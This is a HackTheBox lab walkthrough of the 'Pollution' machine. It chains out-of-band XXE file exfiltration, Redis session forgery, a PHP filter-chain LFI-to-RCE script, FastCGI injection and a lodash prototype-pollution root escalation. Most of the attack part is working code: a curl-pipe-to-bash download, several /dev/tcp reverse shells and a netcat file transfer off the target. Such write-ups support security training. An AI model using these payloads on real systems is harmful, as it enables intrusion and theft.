All writeups
HackTheBox: Pollution avatar
MACHINE Linux HackTheBox 4/5

HackTheBox: Pollution

2026-06-08 15 min read
Tracks CWES
Services apacheredisssh

Introduction

Pollution is a hard-difficulty Linux machine running a PHP web application with a connected Redis session store and an internal Node.js API. The attack chains four distinct techniques together cleanly. The full path to root:

  1. Enumeration → Nmap finds SSH (22), Apache (80), and Redis (6379); vhost fuzzing reveals forum.collect.htb and developers.collect.htb
  2. MyBB forum → register a forum account → find a leaked Burp proxy history file → decode a hardcoded admin token and the /set/role/admin endpoint
  3. Admin panel → XXE → the admin panel sends XML to /api; the parser is vulnerable to XML External Entity injection; use an out-of-band DTD payload to read arbitrary files from the server
  4. XXE file reads → read the Apache vhost config → find the .htpasswd path → crack the hash → get credentials for developers.collect.htb
  5. Redis session manipulation → source code of bootstrap.php leaks the Redis password; use it to set auth=true in our session and bypass the developers login
  6. LFI → RCE → the developers app includes files based on a URL parameter with no sanitisation; use PHP filter chains to turn the LFI into code execution; land a shell as www-data
  7. Lateral movementphp-fpm is running internally on port 9000 as user victor; use a FastCGI exploit script to inject PHP code and get a shell as victor → user flag
  8. Privilege escalation → a Node.js API (pollution_api) runs on port 3000 as root; it uses a vulnerable version of lodash (4.17.0); exploit prototype pollution to override the shell used by child_process.exec and get a root shell

Key Concepts

What are virtual hosts (vhosts)? A single web server can host multiple websites under different domain names, all on the same IP. The server uses the HTTP Host header to decide which site to serve. “Vhost fuzzing” means sending requests with lots of possible hostnames in the Host header and watching for responses that differ from the default - those are real hidden subdomains.

What is XXE (XML External Entity Injection)? XML allows you to define “entities” - reusable chunks of text. One type, an external entity, tells the XML parser to fetch content from a URL or file path. If an application passes user-supplied XML to a parser without disabling external entities, an attacker can make the parser read local files (/etc/passwd, config files, source code) or make outbound requests to attacker-controlled servers. Out-of-Band XXE exfiltrates the data by making the server fetch a URL that contains the stolen content as a query parameter.

What is a DTD? Document Type Definition - a file that defines the structure and entities for an XML document. In XXE attacks, we host a malicious .dtd file on our server, then make the target’s XML parser fetch and process it. This lets us define complex entity chains that can read files and send their contents to us, all without the file contents ever appearing in the server’s response.

What is Redis? An in-memory key-value store often used to cache sessions, queues, and other temporary data. When PHP applications store sessions in Redis, the session data (including auth flags) is just a key-value pair in the database. If you know the Redis password and have network access to it, you can directly read or write session data - bypassing the application’s login form entirely.

What is LFI (Local File Inclusion)? A vulnerability where a web application uses user input to determine which file to load and display. If the input isn’t sanitised, an attacker can make the application load unintended files - like /etc/passwd or application config files. When combined with PHP’s php://filter wrapper, it becomes more powerful: you can encode file contents in base64 to exfiltrate them, and with clever chaining of encoding conversions, you can even generate and execute arbitrary PHP code without ever writing a file to disk.

What is PHP-FPM? PHP FastCGI Process Manager. It processes PHP scripts and handles incoming FastCGI requests. When php-fpm is running on an internal port, an attacker who has compromised the web server can talk to it directly via a FastCGI client. The FastCGI protocol lets you set PHP configuration values per-request, including auto_prepend_file - meaning you can inject PHP code that runs before any legitimate PHP file, effectively achieving code execution as whatever user php-fpm is running as.

What is Prototype Pollution? A JavaScript vulnerability. In JavaScript, every object has a __proto__ property pointing to its prototype - the object it inherits methods and properties from. If an application uses a function like merge() to combine user-supplied JSON with an internal object, and the user supplies a key named __proto__, they can inject properties into the global prototype. Any other object in the application that doesn’t explicitly set that property will then inherit the injected value - potentially overriding critical settings like the shell used by child_process.exec.


Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sV <TARGET>

Key open ports:

PortServiceNotes
22SSHStandard
80HTTP - ApacheWeb app, domain collect.htb
6379RedisIn-memory data store - interesting

Add the domain to your hosts file:

echo "<TARGET>  collect.htb" | sudo tee -a /etc/hosts

Vhost Fuzzing

A domain like collect.htb may have hidden subdomains. Fuzz with wfuzz, hiding responses that have the same line count as the default (541 lines):

wfuzz -c \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://<TARGET> \
  -H "Host: FUZZ.collect.htb" \
  --hl 541

Discovered subdomains: forum.collect.htb and developers.collect.htb

echo "<TARGET>  forum.collect.htb developers.collect.htb" | sudo tee -a /etc/hosts

developers.collect.htb immediately asks for HTTP Basic Auth - credentials unknown for now. Start with the forum.


Forum Enumeration → Admin Token

MyBB Forum

forum.collect.htb runs MyBB forum software. Browsing the threads reveals a post with a file attachment called proxy_history.txt - a Burp Suite proxy export containing base64-encoded HTTP requests and responses. Register a forum account and log in to download it.

Decoding the Proxy History

Inside the file, one request stands out. Decode it:

echo "UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCk..." | base64 -d

The decoded request reveals:

POST /set/role/admin HTTP/1.1
Host: collect.htb
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j

token=ddac62a28254561001277727cb397baf

This is a hardcoded admin token that promotes any user to admin. Register an account on collect.htb and use it:

curl http://collect.htb/set/role/admin \
  -X POST \
  -b "PHPSESSID=<YOUR_SESSION>" \
  -d "token=ddac62a28254561001277727cb397baf"

Now browse to http://collect.htb/admin - you’re in the admin panel.

Why does a token like this exist? It’s likely a leftover developer shortcut - a “set my own account to admin” endpoint that was never removed before the app went live. The proxy history file exposed it because a developer left their Burp export in a public forum thread.


XXE Injection → File Read

Finding the XML Endpoint

The admin panel has a registration form for the “Pollution API”. Intercepting the form submission in Burp Suite shows it posts XML to /api:

<?xml version="1.0" encoding="UTF-8"?>
<root>
  <method>POST</method>
  <uri>/auth/register</uri>
  <user>
    <username>test</username>
    <password>test</password>
  </user>
</root>

User-supplied XML going into a parser is an immediate XXE candidate.

Confirming XXE

Start a Python HTTP server:

python3 -m http.server 8000

Send a payload that makes the server fetch a URL from your machine:

curl -X POST http://collect.htb/api \
  -b "PHPSESSID=<YOUR_SESSION>" \
  -d 'manage_api=<!DOCTYPE root [<!ENTITY % xpl SYSTEM "http://<YOUR_IP>:8000/">%xpl;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>'

Your HTTP server receives an incoming request - the server fetched the URL, confirming XXE. Since the app doesn’t reflect the file contents in the response, we need Out-of-Band exfiltration.

Out-of-Band XXE with a Malicious DTD

The technique: host a .dtd file that defines entities to (1) read a file, (2) embed its contents into a URL, and (3) fetch that URL - sending the file contents to your server as a query parameter.

Create xpl.dtd on your machine:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % payload "<!ENTITY &#37; run SYSTEM 'http://<YOUR_IP>:8000/?leak=%file;'>">
%payload;
%run;

Send the payload:

curl -X POST http://collect.htb/api \
  -b "PHPSESSID=<YOUR_SESSION>" \
  -d 'manage_api=<!DOCTYPE root [<!ENTITY % xpl SYSTEM "http://<YOUR_IP>:8000/xpl.dtd">%xpl;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>'

Your HTTP server receives two requests: one for xpl.dtd, and one like /?leak=cG9sbHV0aW9uCg==. Decode the leak:

echo 'cG9sbHV0aW9uCg==' | base64 -d
# pollution

You can now read any file the web server has access to.

Why php://filter/convert.base64-encode? Files may contain characters (newlines, XML special chars like < and &) that would break the XML structure and prevent exfiltration. Base64-encoding the file contents first ensures the data arrives as clean alphanumeric text that embeds safely in a URL.

Reading Critical Files

Step 1 - Apache vhost config (to find where files live):

Update xpl.dtd to read the developers vhost config:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-available/developers.collect.htb.conf">
<!ENTITY % payload "<!ENTITY &#37; run SYSTEM 'http://<YOUR_IP>:8000/?leak=%file;'>">
%payload;
%run;

Decoding the response reveals the config, which shows:

  • DocumentRoot /var/www/developers
  • AuthUserFile /var/www/developers/.htpasswd

Step 2 - Read .htpasswd:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/developers/.htpasswd">
<!ENTITY % payload "<!ENTITY &#37; run SYSTEM 'http://<YOUR_IP>:8000/?leak=%file;'>">
%payload;
%run;

Decoded result:

developers_group:$apr1$ksVJsRCn$t8yOJn5QB54ovAxP8L.4e0

Cracking the Hash

echo '$apr1$ksVJsRCn$t8yOJn5QB54ovAxP8L.4e0' > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Credentials: developers_group : r0cket

Log into developers.collect.htb with HTTP Basic Auth using these credentials. You’re past the first gate - but there’s another login form inside.


Redis Session Manipulation → Developers Login Bypass

Reading Source Code via XXE

The inner login form doesn’t accept the same credentials. Use XXE to read the app’s source code.

Read index.php:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/developers/index.php">

The decoded code shows:

if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
    die(header('Location: /login.php'));
}
// ...
include($_GET['page'] . ".php");  // <-- LFI!

Two discoveries: the app checks $_SESSION['auth'] == True, and the page parameter is directly included with .php appended - a Local File Inclusion vulnerability.

Read bootstrap.php (included by index.php):

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/developers/bootstrap.php">

Decoded result:

ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');
session_start();

Redis password: COLLECTR3D1SPASS

Forging the Session

PHP serialises the session auth value as auth|b:1; (boolean true). Connect to Redis and write it directly into your session:

nc -v collect.htb 6379
auth COLLECTR3D1SPASS
set "PHPREDIS_SESSION:<YOUR_PHPSESSID>" "auth|b:1;"

Reload developers.collect.htb in your browser - you’re now authenticated and land on the app’s home page.

Why does this work? The PHP application trusts the Redis session store completely. There’s no signed token or integrity check on the session data - whoever can write to Redis can set any session value they like. The Redis server was reachable from outside because it had no firewall rule blocking port 6379.


LFI → RCE → Shell as www-data

The Vulnerability

index.php does this:

include($_GET['page'] . ".php");

The page parameter is user-controlled with no sanitisation. This is LFI - we can make it include other PHP files. But we need code execution, not just file reads.

PHP Filter Chain RCE

Researchers discovered that PHP’s convert.iconv.* filter chain can be used to synthesise arbitrary bytes from an existing file, effectively turning an LFI into arbitrary code execution without needing to write any file to disk. A Python script automates this.

Prepare the reverse shell file (bash.sh):

echo '/bin/bash -c "bash -i >& /dev/tcp/<YOUR_IP>/1337 0>&1"' > bash.sh

Start your listeners:

# Serve bash.sh
python3 -m http.server 8000

# Catch the shell
nc -nvlp 1337

Run the LFI-to-RCE script (modify command and PHPSESSID):

import requests

url = "http://developers.collect.htb/index.php"
file_to_use = "home"
command = "curl <YOUR_IP>:8000/bash.sh|bash"

base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}

filters = "convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
    filters += conversions[c] + "|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
cookies = {"PHPSESSID": "<YOUR_PHPSESSID>"}
headers = {"Authorization": "Basic ZGV2ZWxvcGVyc19ncm91cDpyMGNrZXQ="}  # developers_group:r0cket
r = requests.get(url, params={"0": command, "action": "include", "page": final_payload},
                 cookies=cookies, headers=headers)

Running the script triggers bash.sh on the target, which connects back:

www-data@pollution:/srv/altered/public$

Lateral Movement: www-data → victor

Internal Services

Check what’s listening internally:

ss -tnlp

Two interesting internal ports: 3000 (Node.js app) and 9000 (PHP-FPM).

Verify PHP-FPM and check which user it runs as:

ps aux | grep php-fpm
cat /etc/php/8.1/fpm/pool.d/www.conf
# user = victor

PHP-FPM on port 9000 runs as victor. FastCGI lets us inject PHP code into any running PHP process it handles.

FastCGI Code Injection

Download the fpm.py FastCGI exploit script onto the target and serve it from your local machine:

# On your machine
python3 -m http.server 8000

# On the target
wget <YOUR_IP>:8000/fpm.py -O /tmp/fpm.py

Test execution with id:

python3 /tmp/fpm.py localhost /var/www/developers/index.php -c '<?php system("id");?>'
# uid=1000(victor) gid=1000(victor) ...

Now get a shell. Start a listener:

nc -nvlp 8001

Send the reverse shell payload:

python3 /tmp/fpm.py localhost /var/www/developers/index.php \
  -c '<?php system("/bin/bash -c \"bash -i >& /dev/tcp/<YOUR_IP>/8001 0>&1\"");?>'

Shell received as victor.

User Flag

cat /home/victor/user.txt

Privilege Escalation: Prototype Pollution → Root

The Internal API

Port 3000 is running a Node.js application as root. Confirm:

ps aux | grep api
curl 127.0.0.1:3000
# Read documentation from api in /documentation

A backup of the app lives at /home/victor/pollution_api. Transfer it to your machine for source code review:

# On the target
tar -zcf /tmp/pollution_api.tgz /home/victor/pollution_api

# On your machine - listen first
nc -lnvp 8000 > pollution_api.tgz

# On the target - send
nc <YOUR_IP> 8000 < /tmp/pollution_api.tgz

# Unpack locally
tar -zxvf pollution_api.tgz

Code Review

index.js - Express app listening on port 3000, running as root.

routes/documentation.js - Lists API routes including /admin/messages/send.

controllers/Messages_send.js - The critical file:

const lodash = require("lodash");            // line 3
// ...
lodash.merge(message, req.body);             // line 15 - merges user input!
exec("log.sh", ...);                         // line 17 - runs a shell command

package.json - lodash version 4.17.0.

Lodash 4.17.0 is vulnerable to CVE-2018-16487 - prototype pollution via merge() when user input contains a __proto__ key. Since exec() inherits its options from the prototype chain, we can override the shell option to make it run our own binary instead of /bin/sh.

Exploiting the API

Step 1 - Register a user:

curl -X POST -H "Content-Type: application/json" \
  http://localhost:3000/auth/register \
  -d '{"username":"pwner","password":"test"}'

Step 2 - Elevate to admin via MySQL (credentials found in the app source):

mysql -u webapp_user -p
# enter password from source code
use pollution_api;
update users set role="admin" where username="pwner";

Step 3 - Log in and get a JWT:

curl -X POST -H "Content-Type: application/json" \
  http://localhost:3000/auth/login \
  -d '{"username":"pwner","password":"test"}'
# Returns: {"token":"eyJ..."}

Step 4 - Create the fake shell that will be executed as root:

echo -e '#!/bin/bash\n/bin/bash -c "bash -i >& /dev/tcp/<YOUR_IP>/1234 0>&1"' \
  > /home/victor/fakeshell && chmod +x /home/victor/fakeshell

Step 5 - Start listener:

nc -nvlp 1234

Step 6 - Trigger prototype pollution:

curl -X POST \
  -H "Content-Type: application/json" \
  -H "x-access-token: <YOUR_JWT>" \
  http://localhost:3000/admin/messages/send \
  -d '{"text":"pwn","__proto__":{"shell":"/home/victor/fakeshell"}}'

The merge() call injects shell into the global prototype. When exec("log.sh") runs on line 17, it inherits shell: /home/victor/fakeshell - and runs our script as root.

Root shell received on port 1234.

Why does overriding shell work? Node.js’s child_process.exec() has an options object with a shell key that defaults to /bin/sh. When lodash’s vulnerable merge() copies {"__proto__": {"shell": "/home/victor/fakeshell"}} into the message object, it walks up the prototype chain and sets Object.prototype.shell. Every subsequent object in the process that doesn’t explicitly set shell - including the options object passed to exec() - now inherits our value.

Root Flag

cat /root/root.txt

Summary

nmap → ports 22 (SSH), 80 (Apache), 6379 (Redis)

wfuzz vhost fuzz → forum.collect.htb, developers.collect.htb

forum.collect.htb → register → find proxy_history.txt attachment

base64 decode proxy history → POST /set/role/admin + token=ddac62a2...

curl → set own role to admin on collect.htb → access /admin panel

admin panel → XML form → POST /api → XXE confirmed (server fetches our URL)

Out-of-Band XXE with malicious xpl.dtd:
  → /etc/apache2/sites-available/developers.collect.htb.conf
      → AuthUserFile = /var/www/developers/.htpasswd
  → /var/www/developers/.htpasswd → hash: $apr1$ksVJsRCn$...

john hash.txt --wordlist=rockyou.txt → r0cket

developers.collect.htb → HTTP Basic Auth: developers_group:r0cket

XXE → /var/www/developers/index.php → auth check + LFI via ?page=
XXE → /var/www/developers/bootstrap.php → Redis password: COLLECTR3D1SPASS

nc collect.htb 6379 → auth COLLECTR3D1SPASS
  → set PHPREDIS_SESSION:<id> "auth|b:1;" → session forged → logged in

LFI: ?page=<php filter chain> → arbitrary PHP execution
  → curl bash.sh | bash → reverse shell as www-data

ss -tnlp → port 9000 (php-fpm) + port 3000 (Node.js API)
ps aux → php-fpm runs as victor; node api runs as root

fpm.py localhost /var/www/developers/index.php → PHP injection → shell as victor
→ USER FLAG (/home/victor/user.txt)

/home/victor/pollution_api → source review:
  Messages_send.js: lodash.merge(message, req.body) + exec("log.sh")
  lodash version 4.17.0 → CVE-2018-16487 (prototype pollution)

mysql → set role=admin for our user
curl /auth/login → JWT
create /home/victor/fakeshell (bash reverse shell)
curl /admin/messages/send -d '{"text":"x","__proto__":{"shell":"/home/victor/fakeshell"}}'

exec() inherits polluted shell → runs fakeshell as root → root shell
→ ROOT FLAG (/root/root.txt)

Tools Used

ToolWhat it doesHow to get it
nmapPort scanning and service detectionsudo apt install nmap
wfuzzVhost/subdomain fuzzingsudo apt install wfuzz
Burp SuiteHTTP proxy for intercepting requestsportswigger.net/burp
curlSend crafted HTTP requests from the command lineBuilt into Kali
python3 -m http.serverServe files to the target (DTD, scripts, shell)Built into Python 3
john (JohnTheRipper)Crack password hashessudo apt install john
netcat (nc)Reverse shell listener and file transferBuilt into Kali
fpm.pyFastCGI client - injects PHP code into php-fpmgithub.com/wuyunfeng/Python-FastCGI-Client
mysqlConnect to the MySQL databasesudo apt install default-mysql-client